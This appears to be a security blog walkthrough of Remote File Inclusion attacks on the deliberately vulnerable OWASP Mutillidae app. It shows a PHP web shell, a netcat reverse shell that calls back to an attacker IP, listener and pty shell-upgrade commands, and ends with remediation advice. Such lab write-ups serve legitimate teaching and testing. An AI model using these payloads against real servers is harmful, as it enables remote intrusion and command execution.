This time we will be exploring RFI and read file explorer
https://wiki.owasp.org/index.php/Testing_for_Remote_File_Inclusion
RFI
Remote file inclusion allows an attacker to include file remote (from the web servers point of view) possibly allowing code execution, denial of service, and data disclosure.
Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach.
$incfile = $_REQUEST["file"];
include($incfile.".php");
A URI can be used to specify a remote file such as http://vk9-sec.com/somefile.php
Note the page parameter contains the URL to the search page. http://localhost:8080/index.php?page=http://vk9-sec.com/somefile.php
If we host our own content, we could control the content of the page loaded by the page parameter. For example, host a small PHP web shell file on a site you control.
<?php
echo "<pre>";
echo "shell_exec " . $_REQUEST["cmd" ] . "\n\n";
echo shell_exec($_REQUEST["cmd"]);
echo "</pre>";
?>
We create a hyperlink that will exploit the remote file inclusion vulnerability in the index.php page to incorporate the web shell into the web page.
http://localhost:8080/index.php?page=http://vk9-sec.com/somefile.php?cmd=whoami
If we get to see the content of the command we can then successfully write a reverse shell
RFI example
1. Navigate through Mutillidae OWASP 2017 - Broken access control - Insecure Direct Object References - Remote File Inclusion
2. Capturing the traffic I see this is a “GET request”, I decided to play with the “page=” attribute in the URL “page=arbitrary-file-inclusion.php”
5. I tested this by using an existing page I own and one that doesn’t exist.
Existing one, it doesn’t print anything but shows as blank “page=http://localhost/”
Non-existing one does indicate the page is not found “page=http://localhost/123.php”
4. I created a php file to run a reverse shell, vk9script.php
- <?php echo shell_exec(“nc -e /bin/bash 192.168.0.13 4444”) ?>
First start a listener in the attacker machine
- nc -lvp 4444
Then we capture a request to the site and place our server and script, it will be run by the web page, I’m issuing all this locally, it does work the same on a remote server as long as there is nothing blocking traffic in between
http://127.0.0.1:8080/mutillidae/index.php?page=http://localhost/vk9script.php
Original Request
Edited request
Once, the RFI has done its work executing the remote file. The reverse shell takes effect and our listener gets a connection
Issuing the python command gives us access to a shell
End
Text File Viewer
1. Go to OASP 2017 - "A5 - Broken Access Control” - Insecure Direct Object References - Text File Viewer
2. This does read a file from a remote source, select the file and click on “View File”
3. Capturing the request, I noticed it is “POST”, and, there is a variable with a value that points to a remote file
textfile=http%3A%2F%2Fwww.textfiles.com%2Fhacking%2Fauditool.txt&text-file-viewer-php-submit-button=View+File
5. I modified this and pointed to my hosted file http://localhost/vk9script.php, also, I started a listener
Listener
- nc -lvp 4444
Modified request
6. The listener got the remote connection, the python command gives us access to a decent shell
- python -c ‘import pty; pty.spawn(“/bin/sh”)’
Remediation
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.